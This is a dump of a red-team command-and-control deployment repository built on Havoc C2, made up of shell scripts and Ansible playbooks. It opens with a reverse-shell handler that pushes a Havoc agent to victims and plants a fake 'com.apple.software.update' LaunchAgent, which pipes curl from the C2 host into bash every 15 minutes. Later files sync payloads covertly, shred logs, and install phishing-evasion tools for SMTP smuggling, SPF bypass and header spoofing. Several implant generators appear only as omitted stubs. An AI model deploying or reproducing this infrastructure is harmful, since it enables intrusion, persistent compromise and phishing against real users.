echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/linux_stager.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
;;
esac
log "Persistence commands sent for $os_type"
}
# Main shell handler loop
handle_connections() {
log "Shell handler started on port $LISTEN_PORT"
# Use mkfifo for bidirectional communication
PIPE_PATH="/tmp/shell_handler_pipe"
trap 'rm -f $PIPE_PATH' EXIT
while true; do
# Clean up existing pipe
rm -f $PIPE_PATH
mkfifo $PIPE_PATH
log "Waiting for incoming connection..."
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
NC_PID=$!
# Wait for connection to be established
while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
sleep 1
# Check if nc is still running
if ! kill -0 $NC_PID 2>/dev/null; then
log "Netcat process died, restarting..."
rm -f $PIPE_PATH $PIPE_PATH.output
continue 2 # Restart the outer loop
fi
done
log "Connection received, detecting OS..."
DETECTED_OS=$(detect_os "$PIPE_PATH.output")
log "Detected OS: $DETECTED_OS"
# Deploy Havoc agent
deploy_agent "$PIPE_PATH" "$DETECTED_OS"
sleep 5
# Establish persistence
establish_persistence "$PIPE_PATH" "$DETECTED_OS"
sleep 5
# Keep connection alive for manual operation if needed
log "Havoc agent deployed, maintaining shell connection..."
echo "echo 'Shell upgraded to Havoc agent. This connection will remain active for manual operation.'" > $PIPE_PATH
# Wait for connection to close
wait $NC_PID
log "Connection closed, cleaning up and restarting listener..."
rm -f $PIPE_PATH.output
done
}
# Start the shell handler
handle_connections
+10
View File
@@ -0,0 +1,10 @@
#!/bin/bash
# OMITTED — implant mutation script
#
# Randomizes Havoc Demon source identifiers (User-Agent, URI paths, named pipe
# names, mutex strings) before each compile to defeat signature-based detection.
# Patches TransportHttp.c, Config.c, and the build Makefile in-place, compiles
# a fresh shellcode blob, and backs up the previous payload with a timestamp.
#
# Omitted from public release. Present in operational deployments.
echo "[!] Implant mutator not included in public release."
+302
View File
@@ -0,0 +1,302 @@
#!/bin/bash
# post_install_c2.sh - Post-installation setup for C2 server
# ANSI color codes
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
RED='\033[0;31m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
# Default settings
DEBUG=false
RUN_ON_REDIRECTOR=false
# Show usage information
function show_usage() {
echo "Usage: $0 [options]"
echo ""
echo "Options:"
echo " -d, --debug Enable debug/verbose output"
echo " -r, --run-on-redirector Run post-install script on redirector"
echo " -h, --help Show this help message"
echo ""
}
# Process command line arguments
while [[ $# -gt 0 ]]; do
case $1 in
-d|--debug)
DEBUG=true
shift
;;
-r|--run-on-redirector)
RUN_ON_REDIRECTOR=true
shift
;;
-h|--help)
show_usage
exit 0
;;
*)
echo "Unknown option: $1"
show_usage
exit 1
;;
esac
done
# Debug function - only prints if DEBUG is true
function debug() {
if [ "$DEBUG" = true ]; then
echo -e "${BLUE}[DEBUG] $1${NC}"
fi
}
echo -e "${BLUE}==================================================${NC}"
echo -e "${BLUE} C2ingRed Post-Installation Setup - C2 Server ${NC}"
echo -e "${BLUE}==================================================${NC}"
# Function to check if domain resolves to current IP
check_dns() {
domain=$1
current_ip=$(curl -s ifconfig.me)
resolved_ip=$(dig +short $domain)
debug "Checking DNS for $domain"
debug "Current IP: $current_ip"
debug "Resolved IP: $resolved_ip"
if [ "$resolved_ip" = "$current_ip" ]; then
echo -e "${GREEN}DNS check passed for $domain!${NC}"
return 0
else
echo -e "${YELLOW}DNS check failed for $domain${NC}"
echo -e "Current IP: $current_ip"
echo -e "Resolved IP: $resolved_ip or not set"
return 1
fi
}
# Function to set up Let's Encrypt
setup_letsencrypt() {
domain=$1
email=$2
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
debug "Domain: $domain, Email: $email"
# Stop Havoc service temporarily to free port 80
systemctl stop havoc 2>/dev/null
debug "Stopped Havoc service"
# Get certificate
debug "Running certbot to obtain certificate"
if [ "$DEBUG" = true ]; then
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
else
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive >/dev/null 2>&1
fi
cert_result=$?
debug "Certbot result code: $cert_result"
if [ $cert_result -eq 0 ]; then
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
# Configure applications to use the certificate if needed
if [ -f "/etc/postfix/main.cf" ]; then
debug "Updating Postfix configuration with new certificate"
sed -i "s|^smtpd_tls_cert_file =.*|smtpd_tls_cert_file = /etc/letsencrypt/live/$domain/fullchain.pem|" /etc/postfix/main.cf
sed -i "s|^smtpd_tls_key_file =.*|smtpd_tls_key_file = /etc/letsencrypt/live/$domain/privkey.pem|" /etc/postfix/main.cf
fi
# Restart Havoc
debug "Restarting Havoc service"
systemctl start havoc
return 0
else
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
# Restart Havoc
debug "Restarting Havoc service"
systemctl start havoc
return 1
fi
}
# Function to display DKIM/DMARC records
show_dns_records() {
domain=$1
debug "Showing DNS records for $domain"
if [ -f "/etc/opendkim/keys/$domain/mail.txt" ]; then
echo -e "\n${BLUE}DKIM DNS Record Information for $domain${NC}"
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
echo -e "${GREEN}=================================================${NC}"
echo -e "Name: mail._domainkey.$domain"
echo -e "Value:"
cat /etc/opendkim/keys/$domain/mail.txt | grep -v "^;" | tr -d '\n'
echo -e "\n${GREEN}=================================================${NC}"
fi
echo -e "\n${BLUE}DMARC Record Recommendation for $domain${NC}"
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
echo -e "${GREEN}=================================================${NC}"
echo -e "Name: _dmarc.$domain"
echo -e "Value: v=DMARC1; p=reject; rua=mailto:admin@$domain; ruf=mailto:admin@$domain; pct=100"
echo -e "${GREEN}=================================================${NC}"
}
# Function to test redirector connection
test_redirector() {
# Check if SSH to redirector is configured
debug "Testing redirector connection"
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
echo -e "\n${BLUE}Testing SSH connection to redirector...${NC}"
if [ "$DEBUG" = true ]; then
ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'"
else
ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'" >/dev/null 2>&1
fi
ssh_result=$?
debug "SSH connection result: $ssh_result"
if [ $ssh_result -eq 0 ]; then
echo -e "${GREEN}SSH connection to redirector successful!${NC}"
echo -e "You can access the redirector with: ${YELLOW}ssh redirector${NC}"
return 0
else
echo -e "${RED}Could not connect to redirector.${NC}"
echo -e "${YELLOW}Please verify SSH configuration and firewall rules.${NC}"
return 1
fi
else
echo -e "\n${YELLOW}Redirector SSH configuration not found.${NC}"
echo -e "If you need to access the redirector, please check deployment logs."
return 1
fi
}
# Function to synchronize payloads with redirector
sync_payloads() {
# Check if sync script exists
debug "Attempting to synchronize payloads with redirector"
if [ -f "/root/Tools/secure_payload_sync.sh" ]; then
echo -e "\n${BLUE}Synchronizing payloads with redirector...${NC}"
if [ "$DEBUG" = true ]; then
/root/Tools/secure_payload_sync.sh
else
/root/Tools/secure_payload_sync.sh >/dev/null 2>&1
fi
sync_result=$?
debug "Payload sync result: $sync_result"
if [ $sync_result -eq 0 ]; then
echo -e "${GREEN}Payload synchronization successful${NC}"
return 0
else
echo -e "${RED}Payload synchronization failed${NC}"
echo -e "${YELLOW}Check /root/Tools/logs/payload_sync.log for details${NC}"
return 1
fi
else
echo -e "\n${YELLOW}Payload sync script not found${NC}"
return 1
fi
}
# Function to run redirector post-install script
run_redirector_setup() {
echo -e "\n${BLUE}Running post-installation setup on redirector...${NC}"
debug "Checking if we can connect to redirector"
# First, test the connection
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
# Check if post_install_redirector.sh exists on the redirector
debug "Checking for post_install_redirector.sh on redirector"
ssh -o ConnectTimeout=5 redirector "test -f /root/Tools/post_install_redirector.sh" >/dev/null 2>&1
check_result=$?
debug "Script check result: $check_result"
if [ $check_result -eq 0 ]; then
echo -e "${BLUE}Running post-install script on redirector...${NC}"
# Pass the debug flag if it's enabled here
if [ "$DEBUG" = true ]; then
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh --debug"
else
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh"
fi
redir_setup_result=$?
debug "Redirector setup result: $redir_setup_result"
if [ $redir_setup_result -eq 0 ]; then
echo -e "${GREEN}Redirector post-installation completed successfully${NC}"
return 0
else
echo -e "${RED}Redirector post-installation failed${NC}"
return 1
fi
else
echo -e "${RED}post_install_redirector.sh not found on redirector${NC}"
return 1
fi
else
echo -e "${RED}SSH configuration for redirector not found${NC}"
echo -e "${YELLOW}Cannot run post-installation on redirector${NC}"
return 1
fi
}
# Main execution
debug "Starting post-installation process with debug mode: $DEBUG"
debug "Run on redirector flag: $RUN_ON_REDIRECTOR"
echo -e "\n${BLUE}Running post-installation checks...${NC}"
# Get domain information
read -p "Enter primary domain: " domain
read -p "Enter email for Let's Encrypt: " email
# Check DNS configuration
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
check_dns $domain
# Ask if user wants to set up Let's Encrypt certificates
read -p "Set up Let's Encrypt SSL certificate? (y/n): " setup_ssl
if [ "$setup_ssl" = "y" ]; then
setup_letsencrypt $domain $email
fi
# Show DNS records to configure
show_dns_records $domain
# Test redirector connection
test_redirector
# Ask if user wants to sync payloads
read -p "Synchronize payloads with redirector? (y/n): " sync_payload
if [ "$sync_payload" = "y" ]; then
sync_payloads
fi
# Ask if user wants to run post-install on redirector
if [ "$RUN_ON_REDIRECTOR" = true ] || test_redirector; then
read -p "Run post-installation setup on redirector? (y/n): " run_on_redir
if [ "$run_on_redir" = "y" ]; then
run_redirector_setup
fi
fi
echo -e "\n${GREEN}Post-installation checks complete!${NC}"
echo -e "${YELLOW}Ensure your DNS records are properly configured.${NC}"
echo -e "${YELLOW}See your deployment log for complete infrastructure details.${NC}"
+150
View File
@@ -0,0 +1,150 @@
#!/bin/bash
# secure_payload_sync.sh - OPSEC-focused payload distribution
# Configuration
C2_PAYLOAD_DIR="/root/Tools/Havoc/payloads"
REDIRECTOR_IP="{{ redirector_ip }}"
REDIRECTOR_USER="root"
SSH_KEY_PATH="/root/.ssh/id_ed25519"
REMOTE_PAYLOAD_DIR="/var/www/resources"
ENCRYPTED_TRANSFER=true
LOG_FILE="/root/Tools/logs/payload_sync.log"
LOG_RETENTION_DAYS=3
MAX_RANDOM_DELAY=300 # Max random delay in seconds
# Create minimal timestamped log with auto-rotation
log() {
mkdir -p $(dirname $LOG_FILE)
echo "$(date "+%Y-%m-%d %H:%M:%S") - $1" >> $LOG_FILE
find $(dirname $LOG_FILE) -name "*.log" -mtime +$LOG_RETENTION_DAYS -delete 2>/dev/null
}
# Add random delay for OPSEC
sleep_random() {
DELAY=$((RANDOM % $MAX_RANDOM_DELAY))
log "Adding random delay of $DELAY seconds"
sleep $DELAY
}
# Generate payload manifest and check for changes
check_for_changes() {
if [ ! -d "$C2_PAYLOAD_DIR" ]; then
log "ERROR: Payload directory not found"
return 1
fi
TMP_DIR=$(mktemp -d)
MANIFEST_FILE="$TMP_DIR/manifest"
find $C2_PAYLOAD_DIR -type f -exec sha256sum {} \; | sort > $MANIFEST_FILE
CURRENT_HASH=$(sha256sum $MANIFEST_FILE | awk '{print $1}')
HASH_FILE="/root/Tools/.payload_hash"
if [ -f "$HASH_FILE" ] && [ "$(cat $HASH_FILE)" == "$CURRENT_HASH" ]; then
log "No payload changes detected"
secure_delete $TMP_DIR
return 1
fi
echo $CURRENT_HASH > $HASH_FILE
return 0
}
# Secure deletion of files/directories
secure_delete() {
if [ -d "$1" ]; then
find "$1" -type f -exec shred -n 3 -z -u {} \; 2>/dev/null
rm -rf "$1" 2>/dev/null
elif [ -f "$1" ]; then
shred -n 3 -z -u "$1" 2>/dev/null
fi
}
# Encrypt archive with random password
encrypt_archive() {
SRC="$1"
DEST="$2"
# Generate random password
PASSWORD=$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32)
PASS_FILE=$(mktemp)
echo $PASSWORD > $PASS_FILE
# Encrypt the archive
openssl enc -aes-256-cbc -salt -in "$SRC" -out "$DEST" -pass file:$PASS_FILE
# Store password temporarily for transfer
echo $PASSWORD
# Securely delete password file
secure_delete $PASS_FILE
}
# Main execution
main() {
log "Starting secure payload sync"
# Add randomized timing
sleep_random
# Check for payload changes
check_for_changes || exit 0
# Generate random archive name for OPSEC
RANDOM_ID=$(head /dev/urandom | tr -dc 'a-z0-9' | head -c 12)
ARCHIVE_NAME="updates_${RANDOM_ID}.tar.gz"
ENCRYPTED_NAME="${ARCHIVE_NAME}.enc"
TEMP_DIR=$(mktemp -d)
# Create payload archive
log "Creating payload archive"
tar czf "$TEMP_DIR/$ARCHIVE_NAME" -C $(dirname $C2_PAYLOAD_DIR) $(basename $C2_PAYLOAD_DIR)
# Encrypt archive if enabled
PASSWORD=""
if [ "$ENCRYPTED_TRANSFER" = true ]; then
log "Encrypting payload archive"
PASSWORD=$(encrypt_archive "$TEMP_DIR/$ARCHIVE_NAME" "$TEMP_DIR/$ENCRYPTED_NAME")
TRANSFER_FILE="$TEMP_DIR/$ENCRYPTED_NAME"
else
TRANSFER_FILE="$TEMP_DIR/$ARCHIVE_NAME"
fi
# Transfer archive to redirector
log "Transferring payloads to redirector"
scp -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -q "$TRANSFER_FILE" "$REDIRECTOR_USER@$REDIRECTOR_IP:/tmp/$ENCRYPTED_NAME"
# Handle remote extraction with decryption if needed
if [ "$ENCRYPTED_TRANSFER" = true ]; then
REMOTE_CMD="
mkdir -p $REMOTE_PAYLOAD_DIR
TEMP_DIR=\$(mktemp -d)
openssl enc -aes-256-cbc -d -in /tmp/$ENCRYPTED_NAME -out \$TEMP_DIR/$ARCHIVE_NAME -pass pass:\"$PASSWORD\"
tar xzf \$TEMP_DIR/$ARCHIVE_NAME -C /var/www/
# Clean up
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME \$TEMP_DIR/$ARCHIVE_NAME 2>/dev/null
rm -rf \$TEMP_DIR
# Update web server if needed
systemctl reload nginx 2>/dev/null
"
else
REMOTE_CMD="
mkdir -p $REMOTE_PAYLOAD_DIR
tar xzf /tmp/$ENCRYPTED_NAME -C /var/www/
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME 2>/dev/null
systemctl reload nginx 2>/dev/null
"
fi
# Execute command on redirector
ssh -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null "$REDIRECTOR_USER@$REDIRECTOR_IP" "$REMOTE_CMD"
# Clean up local temp files
log "Cleaning up temporary files"
secure_delete $TEMP_DIR
log "Payload sync completed successfully"
}
# Run main function
main
@@ -0,0 +1,134 @@
---
# Advanced evasion techniques for red team phishing
- name: Install advanced evasion tools
apt:
name:
- python3-dnspython
- python3-requests
- python3-selenium
- chromium-browser
- chromium-chromedriver
- tor
- proxychains4
state: present
- name: Create SMTP smuggling configuration
template:
src: "../templates/smtp-smuggling.py.j2"
dest: "/root/Tools/phishing/smtp-smuggling.py"
mode: '0755'
owner: root
group: root
when: enable_smtp_smuggling | default(false) | bool
- name: Configure SPF bypass techniques
template:
src: "../templates/spf-bypass.sh.j2"
dest: "/root/Tools/phishing/spf-bypass.sh"
mode: '0755'
owner: root
group: root
when: enable_spf_bypass | default(false) | bool
- name: Create domain aging simulation
template:
src: "../templates/domain-aging.py.j2"
dest: "/root/Tools/phishing/domain-aging.py"
mode: '0755'
owner: root
group: root
when: aged_domain_mode | default(false) | bool
- name: Set up MTA fronting configuration
template:
src: "../templates/mta-fronting.conf.j2"
dest: "/etc/postfix/mta_fronting.cf"
mode: '0644'
owner: root
group: root
when: enable_mta_fronting | default(false) | bool
notify: restart postfix
- name: Create file format manipulation tools
copy:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0755'
owner: root
group: root
with_items:
# Note: These files need to be created or paths need to be verified
# - { src: "../files/pdf-weaponizer.py", dest: "/root/Tools/phishing/pdf-weaponizer.py" }
# - { src: "../files/office-macro-generator.py", dest: "/root/Tools/phishing/office-macro-generator.py" }
# - { src: "../files/lnk-generator.py", dest: "/root/Tools/phishing/lnk-generator.py" }
[]
- name: Create Living off the Land (LOtL) payload templates
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0644'
owner: root
group: root
with_items:
- { src: "../templates/lotl-powershell.ps1.j2", dest: "/root/Tools/phishing/templates/lotl-powershell.ps1" }
- { src: "../templates/lotl-wmic.cmd.j2", dest: "/root/Tools/phishing/templates/lotl-wmic.cmd" }
- { src: "../templates/lotl-bitsadmin.cmd.j2", dest: "/root/Tools/phishing/templates/lotl-bitsadmin.cmd" }
- name: Set up CDN abuse configuration
template:
src: "../templates/cdn-abuse.py.j2"
dest: "/root/Tools/phishing/cdn-abuse.py"
mode: '0755'
owner: root
group: root
when: enable_cdn_abuse | default(false) | bool
- name: Create domain reputation monitoring
template:
src: "../templates/reputation-monitor.py.j2"
dest: "/root/Tools/phishing/reputation-monitor.py"
mode: '0755'
owner: root
group: root
- name: Set up cron job for reputation monitoring
cron:
name: "Domain reputation monitoring"
minute: "0"
hour: "*/4"
job: "/root/Tools/phishing/reputation-monitor.py >> /root/Tools/phishing/logs/reputation.log 2>&1"
- name: Create email header spoofing tools
template:
src: "../templates/header-spoofing.py.j2"
dest: "/root/Tools/phishing/header-spoofing.py"
mode: '0755'
owner: root
group: root
- name: Configure Tor for anonymization
template:
src: "../templates/torrc-phishing.j2"
dest: "/etc/tor/torrc"
backup: yes
notify: restart tor
when: enable_tor_routing | default(false) | bool
- name: Create user-agent rotation script
template:
src: "../templates/user-agent-rotation.py.j2"
dest: "/root/Tools/phishing/user-agent-rotation.py"
mode: '0755'
owner: root
group: root
- name: Set up automated evasion techniques
template:
src: "../templates/automated-evasion.py.j2"
dest: "/root/Tools/phishing/automated-evasion.py"
mode: '0755'
owner: root
group: root
when: enable_automated_evasion | default(false) | bool
+344
View File
@@ -0,0 +1,344 @@
---
# Common tasks for configuring C2 server with Havoc C2 and EDR evasion
# Shared across all providers
- name: Update apt cache
apt:
update_cache: yes
- name: Disable default Kali MOTD
file:
path: "{{ ansible_env.HOME }}/.hushlogin"
state: touch
mode: '0644'
when: ansible_distribution == "Kali GNU/Linux"
- name: Set a custom MOTD
template:
src: "../../common/templates/motd.j2"
dest: /etc/motd
owner: root
group: root
mode: '0644'
- name: Install base utilities and tools via apt
apt:
name:
- git
- wget
- curl
- unzip
- python3-pip
- python3-venv
- tmux
- pipx
- nmap
- tcpdump
- hydra
- john
- hashcat
- sqlmap
- gobuster
- dirb
- enum4linux
- dnsenum
- seclists
- responder
- golang
- proxychains
- tor
- crackmapexec
- jq
- build-essential
- zip
- unzip
- postfix
- net-tools
- certbot
- opendkim
- opendkim-tools
- dovecot-core
- dovecot-imapd
- dovecot-pop3d
- dovecot-sieve
- dovecot-managesieved
- yq
- build-essential
# Additional Havoc C2 dependencies
- mingw-w64
- nasm
- cmake
- ninja-build
- libfontconfig1
- libglu1-mesa-dev
- libgtest-dev
- libspdlog-dev
- libboost-all-dev
- libncurses5-dev
- libgdbm-dev
- libssl-dev
- libreadline-dev
- libffi-dev
- libsqlite3-dev
- libbz2-dev
- mesa-common-dev
- qtbase5-dev
- qtchooser
- qt5-qmake
- qtbase5-dev-tools
- libqt5websockets5
- libqt5websockets5-dev
state: present
- name: Create directories for operational scripts
file:
path: "{{ item }}"
state: directory
mode: '0700'
owner: root
group: root
with_items:
- /root/Tools
- /root/Tools/beacons
- /root/Tools/payloads
- name: Copy operational scripts
copy:
src: "{{ item }}"
dest: "/root/Tools/{{ item | basename }}"
mode: '0700'
owner: root
group: root
with_items:
- "../../../common/files/clean-logs.sh"
- "../../../common/files/secure-exit.sh"
- "../files/havoc_installer.sh"
- "../files/havoc_shell_handler.sh"
- "../files/secure_payload_sync.sh"
- name: Copy post-install script
copy:
src: "../../../common/files/post_install_c2.sh"
dest: "/root/Tools/post_install_c2.sh"
mode: '0700'
owner: root
group: root
- name: Copy port randomization script
copy:
src: "../../../common/files/randomize_ports.sh"
dest: "/root/Tools/randomize_ports.sh"
mode: '0700'
owner: root
group: root
- name: Create post-install instructions
template:
src: "../../common/templates/POST_INSTALL_INSTRUCTIONS.txt.j2"
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
mode: '0644'
owner: root
group: root
- name: Set up systemd timer for payload sync
shell: |
cat > /etc/systemd/system/payload-sync.service << 'EOF'
[Unit]
Description=Secure Payload Sync Service
After=network-online.target
[Service]
Type=oneshot
ExecStart=/root/Tools/secure_payload_sync.sh
User=root
Group=root
PrivateTmp=true
StandardOutput=null
[Install]
WantedBy=multi-user.target
EOF
cat > /etc/systemd/system/payload-sync.timer << 'EOF'
[Unit]
Description=Secure Payload Sync Timer
Requires=payload-sync.service
[Timer]
OnBootSec=5min
OnUnitActiveSec=30m
RandomizedDelaySec=30m
Persistent=true
[Install]
WantedBy=timers.target
EOF
systemctl daemon-reload
systemctl enable payload-sync.timer
systemctl start payload-sync.timer
- name: Install Havoc C2 Framework
shell: "/root/Tools/havoc_installer.sh"
args:
creates: "/root/Tools/Havoc"
async: 1800 # Allow 30 minutes for completion
poll: 0 # Don't wait for completion
register: havoc_installation_job
- name: Wait for Havoc installation to complete
async_status:
jid: "{{ havoc_installation_job.ansible_job_id }}"
register: job_result
until: job_result.finished
retries: 60 # Check every 30 seconds for up to 30 minutes
delay: 30
when: havoc_installation_job is defined
- name: Display Havoc installation output
debug:
var: havoc_installation_result.stdout_lines
when: havoc_installation_result.stdout_lines is defined
- name: Create Havoc payload generation script
template:
src: "../templates/generate_havoc_payloads.sh.j2"
dest: "/root/Tools/generate_havoc_payloads.sh"
mode: '0700'
owner: root
group: root
- name: Create Havoc C2 configuration from template
template:
src: "../templates/havoc-config.yaotl.j2"
dest: "/root/Tools/Havoc/data/havoc.yaotl"
mode: '0600'
owner: root
group: root
- name: Create Linux loader script template
template:
src: "../../common/templates/linux_loader.sh.j2"
dest: "/root/Tools/linux_loader.template"
mode: '0644'
owner: root
group: root
- name: Create Windows PowerShell loader template
template:
src: "../../common/templates/windows_loader.ps1.j2"
dest: "/root/Tools/windows_loader.template"
mode: '0644'
owner: root
group: root
- name: Create beacon server script from template
template:
src: "../templates/serve-havoc-payloads.sh.j2"
dest: "/root/Tools/serve-havoc-payloads.sh"
mode: '0700'
owner: root
group: root
vars:
redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
domain: "{{ domain }}"
redirector_port: "{{ redirector_port | default('443') }}"
- name: Run port randomization if enabled
include_tasks: port_randomization.yml
when: randomize_ports | default(false) | bool
- name: Generate Havoc payloads
shell: "/root/Tools/generate_havoc_payloads.sh"
args:
creates: "/root/Tools/Havoc/payloads/manifest.json"
register: payload_generation_result
environment:
PATH: "{{ ansible_env.PATH }}:/usr/local/bin"
ignore_errors: yes
- name: Display payload generation output
debug:
var: payload_generation_result.stdout_lines
when: payload_generation_result.stdout_lines is defined
- name: Start payload server
shell: |
nohup /root/Tools/serve-havoc-payloads.sh > /dev/null 2>&1 &
args:
executable: /bin/bash
register: beacon_server_result
- name: Create NGINX configuration fragment for redirector
template:
src: "../../redirectors/templates/redirector-havoc-fragment.j2"
dest: "/root/Tools/redirector-config.conf"
mode: '0644'
owner: root
group: root
vars:
c2_ip: "{{ ansible_host }}"
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
- name: Create Havoc usage guide
template:
src: "../templates/havoc-guide.j2"
dest: "/root/havoc-guide.txt"
mode: '0600'
owner: root
group: root
vars:
c2_ip: "{{ ansible_host }}"
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
- name: Include traffic flow configuration
include_tasks: "../../common/tasks/traffic_flow_config.yml"
- name: Set up cron job for log cleaning if zero-logs enabled
cron:
name: "Clean logs"
minute: "0"
hour: "*/6"
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
when: zero_logs is defined and zero_logs | bool
- name: Ensure SSH key for redirector access is available
block:
- name: Copy deployment SSH key to C2 for redirector access (AWS)
copy:
src: "~/.ssh/c2deploy_{{ deployment_id }}.pem"
dest: "/root/.ssh/redirector_key"
mode: '0600'
owner: root
group: root
when: provider == "aws"
- name: Copy deployment SSH key to C2 for redirector access (non-AWS)
copy:
src: "{{ ssh_key_path | replace('.pub', '') }}"
dest: "/root/.ssh/redirector_key"
mode: '0600'
owner: root
group: root
when: provider != "aws"
- name: Create SSH config for redirector access
blockinfile:
path: /root/.ssh/config
create: yes
mode: '0600'
owner: root
group: root
marker: "# {mark} ANSIBLE MANAGED REDIRECTOR CONFIG"
block: |
Host redirector
HostName {{ redirector_ip }}
User {{ ssh_user | default('root') }}
IdentityFile /root/.ssh/redirector_key
StrictHostKeyChecking no
when: not redirector_only | bool and redirector_ip is defined
# Include integrated tracker tasks if requested
- name: Include integrated tracker setup
include_tasks: "configure_integrated_tracker.yml"
when: setup_integrated_tracker | default(false) | bool
@@ -0,0 +1,150 @@
---
# Common task for configuring integrated email tracker on C2 server
- name: Check if integrated tracker setup is requested
debug:
msg: "Setting up integrated email tracker on C2 server"
when: setup_integrated_tracker | default(false) | bool
- name: Install required packages for tracker
apt:
name:
- python3-pip
- python3-venv
- python3-pillow
- nginx
- certbot
- python3-certbot-nginx
- jq
state: present
update_cache: yes
when: setup_integrated_tracker | default(false) | bool
- name: Create tracker directory
file:
path: /root/Tools/tracker
state: directory
mode: '0755'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Create tracker data directory
file:
path: /root/Tools/tracker/data
state: directory
mode: '0755'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Create tracker system user
user:
name: tracker
system: yes
shell: /usr/sbin/nologin
home: /root/Tools/tracker
create_home: no
when: setup_integrated_tracker | default(false) | bool
- name: Create Python virtual environment for tracker
pip:
virtualenv: /root/Tools/tracker/venv
name:
- flask
- pillow
- gunicorn
virtualenv_command: /usr/bin/python3 -m venv
environment:
PATH: "/usr/local/bin:/usr/bin:/bin"
vars:
ansible_python_interpreter: /usr/bin/python3
when: setup_integrated_tracker | default(false) | bool
- name: Copy tracker application code
copy:
src: "../../tracker/files/simple_email_tracker.py"
dest: /root/Tools/tracker/simple_email_tracker.py
mode: '0755'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Copy tracker statistics CLI tool
copy:
src: "../../tracker/files/tracker-stats.sh"
dest: /root/Tools/tracker/tracker-stats.sh
mode: '0755'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Copy systemd service file for tracker
copy:
src: "../../tracker/files/tracker.service"
dest: /etc/systemd/system/tracker.service
mode: '0644'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Set correct permissions for tracker directories
file:
path: "{{ item }}"
state: directory
owner: tracker
group: tracker
recurse: yes
loop:
- /root/Tools/tracker
- /root/Tools/tracker/data
when: setup_integrated_tracker | default(false) | bool
- name: Create NGINX site config for tracker
template:
src: "../../tracker/files/tracker-nginx.conf"
dest: /etc/nginx/sites-available/tracker
mode: '0644'
owner: root
group: root
vars:
tracker_domain: "{{ tracker_domain | default('track.' + domain) }}"
when: setup_integrated_tracker | default(false) | bool
- name: Enable tracker NGINX site
file:
src: /etc/nginx/sites-available/tracker
dest: /etc/nginx/sites-enabled/tracker
state: link
when: setup_integrated_tracker | default(false) | bool
- name: Configure redirector to proxy tracking requests
lineinfile:
path: /etc/nginx/sites-available/default
insertafter: "^\\s*location / {"
line: " # Email tracker proxy path\n location /px/(.*)\\.png$ {\n proxy_pass http://{{ c2_ip }}:443/pixel/$1.png;\n proxy_set_header Host {{ tracker_domain }};\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n proxy_set_header X-Real-IP $remote_addr;\n proxy_set_header X-Forwarded-Proto https;\n }"
delegate_to: "{{ groups['redirectors'][0] }}"
when: setup_integrated_tracker | default(false) | bool and groups['redirectors'] is defined
- name: Set up SSL if requested
shell: |
certbot --nginx -d {{ tracker_domain }} --non-interactive --agree-tos -m {{ tracker_email }}
args:
creates: /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem
when: setup_integrated_tracker | default(false) | bool and tracker_setup_ssl | default(true) | bool
ignore_errors: yes
- name: Start and enable tracker service
systemd:
name: tracker
state: started
enabled: yes
daemon_reload: yes
when: setup_integrated_tracker | default(false) | bool
- name: Add tracker alias to bashrc for easy access
lineinfile:
path: /root/.bashrc
line: 'alias tracker="/root/Tools/tracker/tracker-stats.sh"'
state: present
when: setup_integrated_tracker | default(false) | bool
@@ -0,0 +1,10 @@
{# OMITTED — evasive beacon generation template #}
{#
Jinja2 template rendered at deploy time. Produces a shell script that compiles
Havoc Demon shellcode with per-engagement randomized identifiers, wraps the
shellcode in a chosen injection template (process hollowing, APC injection,
early-bird), and stages the result to the payload server.
Omitted from public release. Present in operational deployments.
#}
echo "[!] Evasive beacon generator not included in public release."
@@ -0,0 +1,9 @@
{# OMITTED — Havoc payload generation template #}
{#
Renders a script that produces EXE, DLL, and raw shellcode variants from a
compiled Demon implant. Handles signing stubs, UPX packing decisions, and
drops artifacts to the payload server staging directory.
Omitted from public release. Present in operational deployments.
#}
echo "[!] Havoc payload generator not included in public release."
@@ -0,0 +1,79 @@
Teamserver {
Host = "0.0.0.0"
